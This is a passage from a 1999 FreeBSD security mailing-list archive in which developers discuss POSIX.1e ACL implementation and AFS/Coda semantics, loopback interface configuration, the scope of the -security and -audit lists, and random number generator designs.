From owner-freebsd-security Sun Nov 28 4:43:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 87C5E14F9E for ; Sun, 28 Nov 1999 04:43:47 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id HAA06488; Sun, 28 Nov 1999 07:43:50 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Sun, 28 Nov 1999 07:43:50 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Assar Westerlund Cc: "Ilmar S. Habibulin" , Garrett Wollman , freebsd-security@freebsd.org Subject: Re: ACLs 0.1 for FreeBSD 3.3-RELEASE In-Reply-To: <5laenzf8te.fsf@assail.s3.kth.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org (Assar -- hope you don't mind--I added back in the CC list) On 28 Nov 1999, Assar Westerlund wrote: > Robert Watson writes: > > Due to interest on freebsd-security and a number of personal emails to me, > > I've decided I'd go ahead and put online my current work on ACLs for > > FreeBSD. It is available for download at > > > > http://www.watson.org/fbsd-hardening/posix1e/acl/ > > So I ported it to -current (and fixed some nits at the same time). > But now that machine doesn't seem to come back up and I don't have > physically access to it. :-( But I should be able to send you the > code hopefully later today or tomorrow. Next step is adding support > for vop_{get,set}acl to arla :-) Sounds great :-). We should actually talk about the details of this however -- I defined the generic read/write/execute bits which are discussed in POSIX.1e, but they actually don't preclude the possibility of other rights being associated with files or directories. So we could introduce some of the AFS/Coda directory permissions and only allow them to be used with file systems that supported them. Similarly, there are a few semantic details to work out with directory vs. file ACLs -- POSIX.1e defines two ACLs for directories (access ACL, default ACL for new children) and one ACL per file (access ACL). Presumably all we care about is the directory access ACL in the context of Coda and Arla, and the rest can be emulated for vop_getacl, and probably EOPNOTSUPP'd for setacl. I guess the real issue is to figure how to expose the AFS/Coda rights vs. POSIX.1e rights. > I assume you intended on acl_syscall_delete_def_file and > acl_syscall_delete_def_fd also being syscalls? I did add them to > syscalls.master. Yes -- this was a change I was making over the DARPA ActiveNets workshop and lost track of, as I didn't have a crash machine with me. I guess the best thing to do would be to get your version committed to -CURRENT, and then I can resync on -CURERNT as my development tree and continue work from there? I feel two directions of pull here--the first is to produce as near-POSIX.1e implementation as possible to maximize the chances of portability and consistency across platforms; the other is to maximize what I think of as the most desirable functionality, which approximates what Coda and AFS use (directory-only permissions, and a bit more specific than read/write/execute). For the implementation, I went with almost-exactly-POSIX, and feel we should probably do that for local file systems, but that the issue of introducing Coda/AFS permission sets into the interface, as they are permitted by the draft, is an interesting one and should be looked at in detail. If you don't have a copy of the spec, we should get a copy to you. I believe Winni put a copy online and posted to bugtraq a while back, and that it is off of his POSIX.1e page? We have permission from IEEE to redistribute it as long as new downloaders agree not to redistribute it themselves, the normal "don't blaim IEEE if it breaks your life", etc, etc. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 28 4:52:46 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 024B115612 for ; Sun, 28 Nov 1999 04:52:42 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id HAA06524; Sun, 28 Nov 1999 07:52:54 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Sun, 28 Nov 1999 07:52:54 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Assar Westerlund Cc: freebsd-security@freebsd.org Subject: Re: ACLs 0.1 for FreeBSD 3.3-RELEASE In-Reply-To: <5laenzf8te.fsf@assail.s3.kth.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 28 Nov 1999, Assar Westerlund wrote: > So I ported it to -current (and fixed some nits at the same time). > But now that machine doesn't seem to come back up and I don't have > physically access to it. :-( But I should be able to send you the > code hopefully later today or tomorrow. Next step is adding support > for vop_{get,set}acl to arla :-) My guess is that this is another untested last minute change -- I modified the vfs_default code to call generic_vop_getacl for vop_getacl_desc, and had not worked out all the bugs in generic_vop_getacl. Hopefully the correct fix (which essentially makes dormant the ACL code) is to replace the generic_vop_getacl reference on vfs_default.c with a vop_eopnotsupp pointer. I'll be traveling all of today but perhaps tomorrow night will have a chance to move a machine forward to -current to try out your version and fix some of these things. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 28 17: 9:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.vr.IN-Berlin.DE (gnu.in-berlin.de [192.109.42.4]) by hub.freebsd.org (Postfix) with ESMTP id 108F615436 for ; Sun, 28 Nov 1999 17:09:09 -0800 (PST) (envelope-from server.nostromo.in-berlin.de!ripley@servicia.in-berlin.de) Received: from uriela.in-berlin.de (IDENT:root@servicia.in-berlin.de [192.109.42.145]) by mail.vr.IN-Berlin.DE (8.9.3/8.9.3) with ESMTP id CAA19107 for ; Mon, 29 Nov 1999 02:09:06 +0100 (CET) (envelope-from server.nostromo.in-berlin.de!ripley@servicia.in-berlin.de) Received: by uriela.in-berlin.de (Smail-3.2.0.101 1997-Dec-17 #1) id m11sGqr-000VRLC; Mon, 29 Nov 1999 03:47:41 +0100 (CET) Received: (from ripley@localhost) by server.nostromo.in-berlin.de (8.9.3/8.9.3) id BAA34203 for freebsd-security@FreeBSD.ORG; Mon, 29 Nov 1999 01:17:15 +0100 (CET) (envelope-from ripley) Date: Mon, 29 Nov 1999 01:17:15 +0100 From: "H. Eckert" To: freebsd-security@FreeBSD.ORG Subject: Re: Question about lo0 Message-ID: <19991129011715.A32493@server.nostromo.in-berlin.de> References: <14400.17989.189233.907961@anarcat.dyndns.org> <38405B15.64786825@pucrs.br> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.95.6i In-Reply-To: <38405B15.64786825@pucrs.br>; from Mauricio Westendorff Pegoraro on Sat, Nov 27, 1999 at 08:28:38PM -0200 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Quoting Mauricio Westendorff Pegoraro (mwp@pucrs.br): > lo0: flags=8049 mtu 16384 > inet 127.0.0.1 netmask 0xff000000 > > > My question is: why the lo0 interface wasn't configured when the > system started? It was a problem (bug) when freebsd tryied to > configure lo0? Or, by default, freebsd doesn't 'autoconfigure' lo0? By default, lo0 is configured from within /etc/rc.conf as shown in /etc/defaults/rc.conf: network_interfaces="auto" # List of network interfaces (or "auto"). ifconfig_lo0="inet 127.0.0.1" # default loopback device configuration. It could be that the way you set up you network interface resulted in network_interfaces being set but lo0 missing from the list. > last couple years I've been working only with Solaris, AIX and Linux). Don't worry. I set up Sol7 on my other machine and haven't even figured out why the darned thing complained about my NIC being on IRQ10 (which it probed correctly) and how to get it on my LAN. X11 performance felt like the 486/50 machine I had as a server and some ways I felt thrown back into the stone ages. Not to mention that it couldn't deal with the 16gig drive... Greetings, Ripley -- H. Eckert, 10777 Berlin, Germany, http://www.in-berlin.de/User/nostromo/ ISO 8859-1: Ä=Ae, Ö=Oe, Ü=Ue, ä=ae, ö=oe, ü=ue, ß=sz. "(Technobabbel)" (Jetrel) - "Müssen wir uns diesen Schwachsinn wirklich anhören?" (Neelix) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 28 19:45: 9 1999 Delivered-To: freebsd-security@freebsd.org Received: from foo.sics.se (foo.sics.se [193.10.66.234]) by hub.freebsd.org (Postfix) with ESMTP id 8CA5715122 for ; Sun, 28 Nov 1999 19:45:04 -0800 (PST) (envelope-from assar@foo.sics.se) Received: (from assar@localhost) by foo.sics.se (8.9.3/8.9.3) id EAA42547; Mon, 29 Nov 1999 04:44:53 +0100 (CET) (envelope-from assar) To: Robert Watson Cc: "Ilmar S. Habibulin" , Garrett Wollman , freebsd-security@freebsd.org Subject: Re: ACLs 0.1 for FreeBSD 3.3-RELEASE References: From: Assar Westerlund Date: 29 Nov 1999 04:44:52 +0100 In-Reply-To: Robert Watson's message of "Sun, 28 Nov 1999 07:43:50 -0500 (EST)" Message-ID: <5lr9haotaj.fsf@foo.sics.se> Lines: 46 User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Robert Watson writes: > > So I ported it to -current (and fixed some nits at the same time). > > But now that machine doesn't seem to come back up and I don't have > > physically access to it. :-( But I should be able to send you the > > code hopefully later today or tomorrow. Next step is adding support > > for vop_{get,set}acl to arla :-) The kernel patches are at I'll also make diffs incorporate the library and the user-level programs available at a URL close to that. > Yes -- this was a change I was making over the DARPA ActiveNets workshop > and lost track of, as I didn't have a crash machine with me. I guess the > best thing to do would be to get your version committed to -CURRENT, and > then I can resync on -CURERNT as my development tree and continue work > from there? I think so. > I feel two directions of pull here--the first is to produce as > near-POSIX.1e implementation as possible to maximize the chances of > portability and consistency across platforms; the other is to maximize > what I think of as the most desirable functionality, which approximates > what Coda and AFS use (directory-only permissions, and a bit more specific > than read/write/execute). For the implementation, I went with > almost-exactly-POSIX, and feel we should probably do that for local file > systems, but that the issue of introducing Coda/AFS permission sets into > the interface, as they are permitted by the draft, is an interesting one > and should be looked at in detail. I'm more interested in getting something useful (and somewhat generic). I haven't given any thought as to have to map AFS ACLs into Posix ones. > If you don't have a copy of the spec, we should get a copy to you. I > believe Winni put a copy online and posted to bugtraq a while back, and > that it is off of his POSIX.1e page? We have permission from IEEE to > redistribute it as long as new downloaders agree not to redistribute it > themselves, the normal "don't blaim IEEE if it breaks your life", etc, > etc. I don't have the spec and didn't find it at Winni's page either. /assar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 29 7:34:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 3F02D1522B for ; Mon, 29 Nov 1999 07:34:07 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id KAA13028; Mon, 29 Nov 1999 10:33:56 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Mon, 29 Nov 1999 10:33:56 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Assar Westerlund Cc: "Ilmar S. Habibulin" , Garrett Wollman , freebsd-security@freebsd.org, posix1e@cyrus.watson.org Subject: AFS ACL Semantics (was: Re: ACLs 0.1 for FreeBSD 3.3-RELEASE) In-Reply-To: <5lr9haotaj.fsf@foo.sics.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 29 Nov 1999, Assar Westerlund wrote: > Robert Watson writes: > > > So I ported it to -current (and fixed some nits at the same time). > > > But now that machine doesn't seem to come back up and I don't have > > > physically access to it. :-( But I should be able to send you the > > > code hopefully later today or tomorrow. Next step is adding support > > > for vop_{get,set}acl to arla :-) > > The kernel patches are at > > > I'll also make diffs incorporate the library and the user-level > programs available at a URL close to that. Sounds great. Hopefully I'll get a crash machine up to -CURRENT this evening and can apply your patches. Gotta get over that kernel build hump, if I recall -- unforutnately at my current location I only have adialup line, so the cvsup could take a while :-). > > Yes -- this was a change I was making over the DARPA ActiveNets workshop > > and lost track of, as I didn't have a crash machine with me. I guess the > > best thing to do would be to get your version committed to -CURRENT, and > > then I can resync on -CURERNT as my development tree and continue work > > from there? > > I think so. > > > I feel two directions of pull here--the first is to produce as > > near-POSIX.1e implementation as possible to maximize the chances of > > portability and consistency across platforms; the other is to maximize > > what I think of as the most desirable functionality, which approximates > > what Coda and AFS use (directory-only permissions, and a bit more specific > > than read/write/execute). For the implementation, I went with > > almost-exactly-POSIX, and feel we should probably do that for local file > > systems, but that the issue of introducing Coda/AFS permission sets into > > the interface, as they are permitted by the draft, is an interesting one > > and should be looked at in detail. > > I'm more interested in getting something useful (and somewhat > generic). I haven't given any thought as to have to map AFS ACLs into > Posix ones. My goal was to try and retain the POSIX.1e syntax while allowing more flexible semantics for file systems with their own semantics. There is the issue of sorted ACLs which may differ with semantics, but we could build that into the sort routine to recognize ACLs with AFS components. This will probably make more sense once you've had a chance to read the spec (URL below) which talks about their goals. Essentially, I maintain the ACLs in a sorted format to optimize evaluation speed -- the entries in the ACL are sorted in the interpretation order for their access control check, and the sorting occurs in userland (the kernel will reject the submission of unsorted ACLs). Implementation of the access control check occurs in the underlying file system, although I provide some default routines that file systems might use to provide consistent POSIX.1e semantics, if they desired. AFS ACLs could either look like POSIX.1e ACLs (i.e., use the same uid namespace and qualifier type/tag), or they could use their own tag (ACL_TYPE_AFS) and use the AFS viceid space, keeping the two independent, and meaning that AFS ACLs submitted would not have to follow the sorting constraints. > > If you don't have a copy of the spec, we should get a copy to you. I > > believe Winni put a copy online and posted to bugtraq a while back, and > > that it is off of his POSIX.1e page? We have permission from IEEE to > > redistribute it as long as new downloaders agree not to redistribute it > > themselves, the normal "don't blaim IEEE if it breaks your life", etc, > > etc. > > I don't have the spec and didn't find it at Winni's page either. I guess he never linked it off the main page. Here's the URL he posted to the posix1e mailing list a few months ago: http://www.guug.de/~winni/posix.1e/download.html .1e is the API and semantics discussion, .2c is the command line utilities/support stuff. Both specs also contains descriptions of their auditing API (work in progress between SRI and myself), capabilities and mandatory access control (work in progress by Ilmar), and also information labels (being ignored by everyone). There's also my POSIX.1e mailing list which has developers from various communities participating (Linux, SGI/IRIX+SGI/Linux, FreeBSD) and discussing corss-platform and implementation issues. To subscribe, send email to majordomo@cyrus.watson.org with "subscribe posix1e" in the body; the posting address is posix1e@cyrus.watson.org. Courtesy Aleph1, there is an archive on www.securityfocus.org which goes back a couple of months -- I'm working on getting him back messages but haven't gotten around to it yet (having problems extracting message IDs from my Cyrus server); I have an IMAP-based archive available via anonymous imap on cyrus.watson.org, folder lists.sec.posix1e. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 29 7:55:39 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 0EBBB15463; Mon, 29 Nov 1999 07:55:32 -0800 (PST) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id QAA95608; Mon, 29 Nov 1999 16:55:10 +0100 (CET) (envelope-from des) To: Mauricio Westendorff Pegoraro Cc: questions@freebsd.org Subject: Re: Question about lo0 References: <14400.17989.189233.907961@anarcat.dyndns.org> <38405B15.64786825@pucrs.br> From: Dag-Erling Smorgrav Date: 29 Nov 1999 16:55:09 +0100 In-Reply-To: Mauricio Westendorff Pegoraro's message of "Sat, 27 Nov 1999 20:28:38 -0200" Message-ID: Lines: 13 User-Agent: Gnus/5.070097 (Pterodactyl Gnus v0.97) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [moved from -security to -questions] Mauricio Westendorff Pegoraro writes: > My question is: why the lo0 interface wasn't configured when the system started? > It was a problem (bug) when freebsd tryied to configure lo0? Or, by default, > freebsd doesn't 'autoconfigure' lo0? 1) this doesn't belong on -security. 2) read the errata list for 3.3-RELEASE. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 29 8:13:48 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 04DDE15249 for ; Mon, 29 Nov 1999 08:13:34 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id LAA13281; Mon, 29 Nov 1999 11:13:45 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Mon, 29 Nov 1999 11:13:45 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Harris K Telemacher Cc: freebsd-security@freebsd.org Subject: Re: ACLs for FreeBSD (was: Re: ps on 4.0-current) (fwd) In-Reply-To: <19991129034310.F6389@user2.teleport.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 29 Nov 1999, Harris K Telemacher wrote: > This is great work and something I would be willing to beta test, but > I might prefer it to be developed as new filesystem, like a cloned, > feature-added version of FFS. Call it p1efs or something, leave the > BSDisms in place with FFS, and start working on ACLs and the other > worthwhile POSIX extensions. This may help smooth over a few issues such > as ACL/MAC storage, but then again it may create other problems. Now that > I reread your message, I see that you may have thought about doing this, > so if you have, then let me know why it's going in this direction, > since I'm not as familiar with the kernel's filesystem layers as I am > with some of the other bits. I agree entirely, and we have discussed these various options in some depth on various mailing lists (including the POSIX.1e list). The general conclusion has been that in the short term, defining the VFS (Virtual File System) interface for ACLs is a good step forward. Some file systems already support ACLs (such as Coda and AFS) so should give us a good ideas as to whether the library and kernel support code is sufficient. Then once that was finalized, we could try and push ACL support into existing file systems that both do and don't support ACLs. Recently I made a post of posix1e documenting the ways that different file systems have integrated ACLs and other extended data. The most flexible way was in IRIX XFS, where a general-purpose attribute mechanism is provided, allowing the tagging of files with arbitrary data by the kernel, including things such as ACLs and MAC tags. Then there's the Solaris/Linux approach of a specific-purpose solution (Solaris: a second inode for each file, Linux: an extra block pointer). I lean towards an FFS2 with attribute support, as well as possibly transactional meta-data support to keep attributes and inodes in sync to prevent crashes from allowing access violations or inconsistency. All this becomes possible only once a general ACL interface and so on are defined and implemented, which is now becoming the case. Hopefully this will prompt work by others who are more fs-centric. > I have not downloaded the code for a look yet, but I will soon, so stand > by for more suggestions and hopefully some patches, if I get the time > to work on it (I'm running primarly OpenBSD, also NetBSD and even an > old FreeBSD system at home.) You may want to wait for 0.1.1 which I hope to bring out in a day or two -- it will be based on -CURRENT and Assar's patches, as well as have some improvements (currently my group behavior in the default ACL evaluation is not to spec, using first match not best match behavior). However, feel free to peruse the existing code to see how it could fit into the other *BSD frameworks. I'd love to have consistent ACL behavior across the various BSDs, which is in part the goal of POSIX.1e. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 29 22:51:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 43AD9157AE; Mon, 29 Nov 1999 22:51:38 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id BAA08444; Tue, 30 Nov 1999 01:51:37 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Tue, 30 Nov 1999 01:51:37 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: freebsd-audit@freebsd.org, freebsd-security@freebsd.org Subject: Topics for -security vs. topics for -audit Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org (for those on -security who missed it for whatever reason (such as it only being announced on -current, and only during Thanksgiving for those US-side people who might have gone on vacation :-), a source code auditing mailing list has been set up for the discussion of reviewing FreeBSD source for security holes, and can be subscribed to by sending "subscribe freebsd-audit" to majordomo@freebsd.org) On with the email: So, I often resent those "you're off-topic" posts sent to mailing lists, but I think there's a need to distinguish the purposes of the -security and -audit mailing lists. My feeling is that -audit is likely to be a code-heavy list--that is, commentary on patches, patching techniques, and lists of files and function references. As such, it's likely to get only cursary reading by those not directly involved in the source code auditing process. On the other hand, -security is a mailing list for general security discussion, including policy issues, regular use, etc. Even in the past two days, we've seen significant discussion that should probably be taking place on -security: selecting a pseudo-random number generator does relate to source code, but it's also an issue our crypto-intense folks should be keeping an eye on, even those that are not into detailed coding. Where to use the pseudo-random number generator becomes more of an auditing issue--places where it should be used, but some approximation is currently used, or where a poor seed is used. The same goes for default conditions for using the prng in network and pid code, etc. This is discussion relevant to a wide audience. As such, I think making the distinction between the list topics is important, and making sure the broad policy issues get fully aired on -security is also important. It's my intent to read both mailing lists, but I can tell you that when my work gets heavy, it'll be diff-heavy messages on -audit that lose out, and -security policy discussions that get my attention. And I don't want to miss the wrong policy discussion that relates to my work :-). This of course raises the specter of cross-posting, but to be honest, I think that's ok on a pair of mailing lists like this, as long as people keep in mind moderation :-). Thanks, Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 30 11:43:19 1999 Delivered-To: freebsd-security@freebsd.org Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133]) by hub.freebsd.org (Postfix) with ESMTP id 17477159E0; Tue, 30 Nov 1999 11:43:09 -0800 (PST) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by gratis.grondar.za (8.9.3/8.9.3) with ESMTP id VAA17801; Tue, 30 Nov 1999 21:42:54 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199911301942.VAA17801@gratis.grondar.za> To: Brad Knowles Cc: Dan Moschuk , Kris Kennaway , Bruce Evans , Mike Smith , security@FreeBSD.ORG, Warner Losh Subject: Re: cvs commit: src/sys/i386/conf files.i386 src/sys/kern kern_fork.c src/sys/libkern arc4random.c src/sys/sys libkern.h Date: Tue, 30 Nov 1999 21:42:54 +0200 From: Mark Murray Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [ Moved to security. Off-topic for -audit ] > While T'so may not be a cryptographer by trade, it is my > understanding that he has quite a bit of understanding of how crypto > works (due to his involvement in PGP), and is a rather good > programmer. He's big in MIT kerberos. I think I trust him. > I am not so inclined to simply yank T'so for Yarrow, not without > a relatively authoritative third party who can look over the > respective algorithms and code in extreme detail, etc.... Been there. Done that. Written the code. Right now, it sucks, but by early next year, I hope to import it. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 30 13:11:35 1999 Delivered-To: freebsd-security@freebsd.org Received: from dfw-smtpout1.email.verio.net (dfw-smtpout1-ext.email.verio.net [129.250.36.41]) by hub.freebsd.org (Postfix) with ESMTP id 70764155EC; Tue, 30 Nov 1999 13:11:27 -0800 (PST) (envelope-from matthew@netsol.net) Received: from dfw-mmp3.email.verio.net ([129.250.38.63]) by dfw-smtpout1.email.verio.net (Netscape Messaging Server 4.05) with ESMTP id FM147300.LX6; Tue, 30 Nov 1999 21:11:27 +0000 Received: from exchange-server.styleclick.net ([207.199.66.93]) by dfw-mmp3.email.verio.net (Netscape Messaging Server 4.05) with ESMTP id FM146200.00Q; Tue, 30 Nov 1999 21:10:50 +0000 Received: from mattl (mattl.styleclick.net [172.20.30.111]) by exchange-server.styleclick.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id X66QQLD8; Tue, 30 Nov 1999 13:12:06 -0800 Message-ID: <000101bf3b77$7e7495e0$6f1e14ac@mattl.styleclick.net> From: "Matt" To: , Subject: stack overflow and security Date: Tue, 30 Nov 1999 13:11:39 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org can any one help to explain how stack over security exploit. does anyone know how to fix it? How it happens? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 30 13:42:27 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 5F7AD14A1A; Tue, 30 Nov 1999 13:42:26 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 52C251CD743; Tue, 30 Nov 1999 13:42:26 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Tue, 30 Nov 1999 13:42:26 -0800 (PST) From: Kris Kennaway To: Mark Murray Cc: Brad Knowles , security@FreeBSD.ORG Subject: Re: cvs commit: src/sys/i386/conf files.i386 src/sys/kern kern_fork.c src/sys/libkern arc4random.c src/sys/sys libkern.h In-Reply-To: <199911301942.VAA17801@gratis.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 30 Nov 1999, Mark Murray wrote: > [ Moved to security. Off-topic for -audit ] > > > While T'so may not be a cryptographer by trade, it is my > > understanding that he has quite a bit of understanding of how crypto > > works (due to his involvement in PGP), and is a rather good > > programmer. > > He's big in MIT kerberos. I think I trust him. Maybe I was ambiguous in my initial method. I wasn't calling his abilities into question, just raising the point that if the choice was between something designed by an amateur cryptographer, and something designed by a professional, I'd pick the latter, all other things being equal. For the benefit of the newcomers to this thread (now that it's been moved where it probably should have been sent in the first place :) the discussion was in regard to the relative merits of our current PRNG {/dev/random, /dev/urandom} vs. the OpenBSD variant {/dev/random, /dev/arandom} and a third alternative, the Yarrow algorithm by Schneier. My conclusion is that what we have now is "good enough" not to worry about it excessively, and urandom is better than the OpenBSD variant arandom because it doesn't propagate state compromises deterministically (based on my reading of the code, if you break the state of the OpenBSD /dev/arandom, then you get on average the next 64 (up to 128) free "random" numbers with perfect certainty, and probabilistically thereafter, with a decay time 128 times longer than ours, which effectively reseeds every access). The downside is that ours is slower and consumes more entropy. If anyone has anything to add here I'd welcome the discussion.. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 30 16: 6:41 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.usask.ca (mail.usask.ca [128.233.3.34]) by hub.freebsd.org (Postfix) with ESMTP id EB9F5159EE for ; Tue, 30 Nov 1999 16:06:28 -0800 (PST) (envelope-from nmm367@mail.usask.ca) Received: from mail.usask.ca ([128.233.3.207]) by mail.usask.ca (PMDF V5.2-32 #39029) with ESMTP id <0FM100F0FBG2L0@mail.usask.ca> for freebsd-security@FreeBSD.ORG; Tue, 30 Nov 1999 17:48:03 -0600 (CST) Date: Tue, 30 Nov 1999 17:49:33 -0600 From: Naiden Subject: Re: stack overflow and security To: Matt Cc: freebsd-security@FreeBSD.ORG Reply-To: naiden.markacehv@usask.ca Message-id: <3844628D.E6490B17@mail.usask.ca> Organization: Sashabush Hahaking Gruppe MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <000101bf3b77$7e7495e0$6f1e14ac@mattl.styleclick.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matt wrote: > > can any one help to explain how stack over security exploit. does anyone > know how to fix it? How it happens? > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message Here is a site that answers your question..... at least the "how it happens" part. http://www.helloworld.ca/1999/04-apr/attack_class.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 